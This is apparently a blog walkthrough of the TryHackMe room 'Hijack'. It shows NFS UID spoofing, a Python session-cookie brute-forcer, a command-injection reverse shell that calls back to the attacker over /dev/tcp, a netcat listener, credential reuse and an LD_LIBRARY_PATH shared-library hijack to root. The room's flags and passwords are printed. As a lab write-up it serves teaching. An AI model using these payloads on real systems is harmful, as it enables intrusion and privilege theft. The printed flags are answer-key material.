DEATHESTHER
← All write-ups

TRYHACKME WRITE-UP

Hijack - TryHackMe writeup

Misconfigs conquered, identities claimed.

EasyLinuxCommand injectionBrute forceSudo abusePrivilege escalation17 min read

Open the room on TryHackMe ↗ View on GitHub

Task 1. Deploy the machine and get the flags!

What is the user flag?

THM{fdc8cd4cff2c19e0d1022e78481ddf36}

What is the root flag?

THM{b91ea3e8285157eaf173d88d0a73ed5a}

Introduction

Hijack is a beginner-friendly TryHackMe room focused on misconfigurations, session hijacking, command injection, and Linux privilege escalation. In this walkthrough, I’ll cover the complete path from initial enumeration to root access.

Initial Enumeration

I started with an Nmap scan to identify the running services and get a better understanding of the target surface.

nmap -sV -sC 10.49.153.158
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
111/tcp  open  rpcbind 2-4 (RPC #100000)
2049/tcp open  nfs     2-4 (RPC #100003)

The scan revealed a few interesting services:

The NFS service immediately caught my attention. Before digging into that, I checked whether the FTP server allowed anonymous authentication, but the login attempt failed.

I then used showmount to enumerate exported NFS shares.

showmount -e 10.49.153.158
Export list for 10.49.153.158:
/mnt/share *

The /mnt/share directory was exposed and accessible remotely, so I mounted it locally.

mkdir hijack_ctf
sudo mount -t nfs 10.49.153.158:/mnt/share/ hijack_ctf
death@esther:/opt/thm$ ls -la
total 12
drwxr-xr-x 3 death death 4096 May 25 21:28 .
drwxr-xr-x 6 root  root  4096 May 25 21:28 ..
drwx------ 2  1003  1003 4096 Aug  9  2023 hijack_ctf

The mounted directory was owned by UID and GID 1003. Since NFS relies heavily on UID/GID mapping, I created a local user with the same identifiers to inherit the share permissions.

sudo useradd hijack
sudo usermod -u 1003 hijack
sudo groupmod -g 1003 hijack
sudo passwd hijack

After creating the user, I switched into it and accessed the mounted share.

su hijack

Inside the share, I found a text file containing FTP credentials.

$ ls
hijack_ctf

$ cd hijack_ctf

$ ls
for_employees.txt

$ cat for_employees.txt
ftp creds :

ftpuser:W3stV1rg1n14M0un741nM4m4

Credential Discovery

Using the credentials discovered from the NFS share, I logged into the FTP service.

ftp 10.49.153.158
Connected to 10.49.153.158.
220 (vsFTPd 3.0.3)
Name (10.49.153.158:death): ftpuser
331 Please specify the password.
Password: W3stV1rg1n14M0un741nM4m4
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

After logging in successfully, I started enumerating the available files inside the FTP directory. A normal listing did not reveal anything interesting, so I switched to a detailed listing to check for hidden files.

ftp> ls

229 Entering Extended Passive Mode (|||30802|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la

229 Entering Extended Passive Mode (|||35347|)
150 Here comes the directory listing.

drwxr-xr-x    2 1002     1002         4096 Aug 08  2023 .
drwxr-xr-x    2 1002     1002         4096 Aug 08  2023 ..
-rwxr-xr-x    1 1002     1002          220 Aug 08  2023 .bash_logout
-rwxr-xr-x    1 1002     1002         3771 Aug 08  2023 .bashrc
-rw-r--r--    1 1002     1002          368 Aug 08  2023 .from_admin.txt
-rw-r--r--    1 1002     1002         3150 Aug 08  2023 .passwords_list.txt
-rwxr-xr-x    1 1002     1002          655 Aug 08  2023 .profile

226 Directory send OK.

Among the hidden files, .passwords_list.txt immediately caught my attention. I downloaded it locally for further inspection.

ftp> get .passwords_list.txt
local: .passwords_list.txt remote: .passwords_list.txt
229 Entering Extended Passive Mode (|||39466|)
150 Opening BINARY mode data connection for .passwords_list.txt (3150 bytes).

100% |***********************************|  3150       30.21 KiB/s    00:00 ETA

226 Transfer complete.
3150 bytes received in 00:00 (24.16 KiB/s)

ftp> exit
221 Goodbye.

The file contained multiple passwords, which looked potentially useful for further enumeration and authentication attempts.

image

Web Enumeration

After collecting the FTP password list, I moved toward the web application running on port 80.

The homepage looked fairly simple at first glance.

image

I created a normal account and logged into the application.

image

After authentication, the dashboard looked mostly the same, but this time an additional Admin tab appeared in the navigation bar. When I clicked on it, the application returned an access denied message.

image

That immediately made me curious about how the application handled authorization. I opened Burp Suite and intercepted the request while accessing the admin panel.

image

While reviewing the captured request, the session cookie looked unusual.

Cookie: PHPSESSID=VGVzdDowZTc1MTcxNDFmYjUzZjIxZWU0MzliMzU1YjVhMWQwYQ%3D%3D

The structure looked encoded rather than randomly generated, so I copied the value into CyberChef for analysis.

image

After decoding it, the format looked like:

username:hash

The hash portion also looked familiar, so I identified it separately.

The hash turned out to be MD5.

image

At this point, the session format became clear:

base64(username:md5(password))

Since I already had a password list from the FTP server, I suspected the admin account might also be using one of those passwords. If I could generate a valid session manually, it might be possible to hijack the admin session without needing to brute force the login form directly.

I initially tried testing requests manually, but the application quickly started rate limiting the attempts. image

To avoid interacting with the login form repeatedly, I created a Python script that generated valid session cookies using passwords from the discovered wordlist.

import hashlib
import base64
import requests
import os

target_ip = input("[+] Enter Target IP: ").strip()
wordlist = input("[+] Enter Wordlist Path: ").strip()

url = f"http://{target_ip}/administration.php"

if not os.path.exists(wordlist):
    print("[-] Wordlist not found")
    exit()

with open(wordlist, "r") as f:
    passwords = [line.strip() for line in f]

session = requests.Session()

print(f"\n[+] Loaded {len(passwords)} passwords")
print(f"[+] Target: {url}\n")

for password in passwords:

    md5_hash = hashlib.md5(password.encode()).hexdigest()

    session_data = f"admin:{md5_hash}"

    encoded_cookie = base64.b64encode(session_data.encode()).decode()

    headers = {
        "Cookie": f"PHPSESSID={encoded_cookie}"
    }

    try:
        response = session.get(url, headers=headers, timeout=5)

        print(f"[*] Trying: {password}")

        if "Access denied" not in response.text:

            print("\n[+] Valid Session Found")
            print(f"[+] Password : {password}")
            print(f"[+] Cookie   : PHPSESSID={encoded_cookie}")

            break

    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

I saved the script locally.

nano bruteforce.py

Then I executed it against the target.

python3 bruteforce.py
[+] Enter Target IP: 10.49.153.158
[+] Enter Wordlist Path: .passwords_list.txt

[+] Loaded 150 passwords
[+] Target: http://10.49.153.158/administration.php

The script started generating session cookies using each password from the wordlist and tested them directly against the admin endpoint.

After a few attempts, a valid session was finally discovered.

[+] Valid Session Found
[+] Password : uDh3jCQsdcuLhjVkAy5x
[+] Cookie   : PHPSESSID=YWRtaW46ZDY1NzNlZDczOWFlN2ZkZmIzY2VkMTk3ZDk0ODIwYTU=

Using the generated cookie, I was able to access the admin panel successfully.

image

Initial Access

With the valid admin session cookie generated earlier, I went back to the application and intercepted the request to the administration panel using Burp Suite.

image

I replaced the existing PHPSESSID value with the newly generated admin cookie.

image

After forwarding the modified request, the admin panel loaded successfully.

The page turned out to be an online service status checker. It accepted a service name as input and returned the current status of the requested service.

To understand how the feature behaved, I tested it using ssh.

image

The application returned the service status correctly. While testing the functionality, I noticed that every request required the admin session cookie, so I kept replacing the cookie value inside Burp before forwarding requests.

After spending some time interacting with the feature, I realized the input might be vulnerable to command injection. The backend appeared to execute shell commands directly using the provided service name.

I tested command chaining using the && operator and attempted to execute a reverse shell.

The application returned the service status correctly. While testing the functionality, I noticed that every request required the admin session cookie, so I kept replacing the cookie value inside Burp before forwarding requests.

After spending some time interacting with the feature, I realized the input might be vulnerable to command injection. The backend appeared to execute shell commands directly using the provided service name.

I tested command chaining using the && operator and attempted to execute a reverse shell.

ssh && bash -c "bash -i >& /dev/tcp/<IP>/1234 0>&1"

Before sending the payload, I started a Netcat listener on my local machine.

nc -lnvp 1234

I replaced <IP> with my VPN IP address and submitted the payload through the service checker.

image

A few seconds later, the reverse shell connected back successfully.

A few seconds later, the reverse shell connected back successfully.

Listening on 0.0.0.0 1234
Connection received on 10.49.153.158 47886

bash: cannot set terminal process group (1244): Inappropriate ioctl for device
bash: no job control in this shell

www-data@Hijack:/var/www/html$

Now operating as www-data, I started enumerating the web directory.

ls
administration.php
config.php
index.php
login.php
logout.php
navbar.php
service_status.sh
signup.php
style.css

The config.php file looked interesting, so I inspected it for credentials.

Inside the file, I found database credentials stored in plaintext.

$servername = "localhost";
$username = "rick";
$password = "N3v3rG0nn4G1v3Y0uUp";
$dbname = "hijack";
image

Lateral Movement

After finding the credentials inside config.php, I decided to test whether the same credentials were reused for SSH access.

ssh rick@10.49.153.158
password: N3v3rG0nn4G1v3Y0uUp

The credentials worked successfully, and I gained an interactive shell as the rick user.

$ ls
user.txt

I immediately checked the user flag.

cat user.txt
THM{fdc8cd4cff2c19e0d1022e78481ddf36}

Privilege Escalation Enumeration

After getting access as the rick user, I started checking for possible privilege escalation vectors.

The first thing I checked was the user's sudo permissions.

sudo -l
Matching Defaults entries for rick on Hijack:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_LIBRARY_PATH

User rick may run the following commands on Hijack:
    (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

The interesting part here was the env_keep+=LD_LIBRARY_PATH setting.

Since the LD_LIBRARY_PATH environment variable was preserved during sudo execution, it opened the door for shared library hijacking. The idea was to force the target binary to load a malicious shared library from a custom path before loading the legitimate one.

To understand which shared libraries the Apache binary used, I checked them using ldd.

ldd /usr/sbin/apache2
linux-vdso.so.1 =>  (0x00007fff5ab16000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3
libaprutil-1.so.0 => /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0
libapr-1.so.0 => /usr/lib/x86_64-linux-gnu/libapr-1.so.0
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1

I decided to target libcrypt.so.1.

The plan was to create a malicious shared object with the same name and place it inside /tmp. Then, by setting LD_LIBRARY_PATH=/tmp, Apache would load my malicious library first.

I created the following C file.

nano library_path.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setreuid(0,0);
        system("/bin/bash -p");
}

Next, I compiled it as a shared library named libcrypt.so.1.

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/rick/library_path.c

Once the malicious library was ready, I executed Apache with the modified LD_LIBRARY_PATH.

sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

The exploit worked successfully and spawned a root shell.

image

Root Access

Now operating as root, I captured the final flag.

cat /root/root.txt
██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝

THM{b91ea3e8285157eaf173d88d0a73ed5a}

Conclusion

Hijack was a fun machine focused on misconfigurations, session hijacking, command injection, and privilege escalation through LD_LIBRARY_PATH abuse. Every step connected nicely and made the enumeration process feel realistic and practical.

image

Thanks for reading this walkthrough. I hope it helped you understand the room better.

More walkthroughs: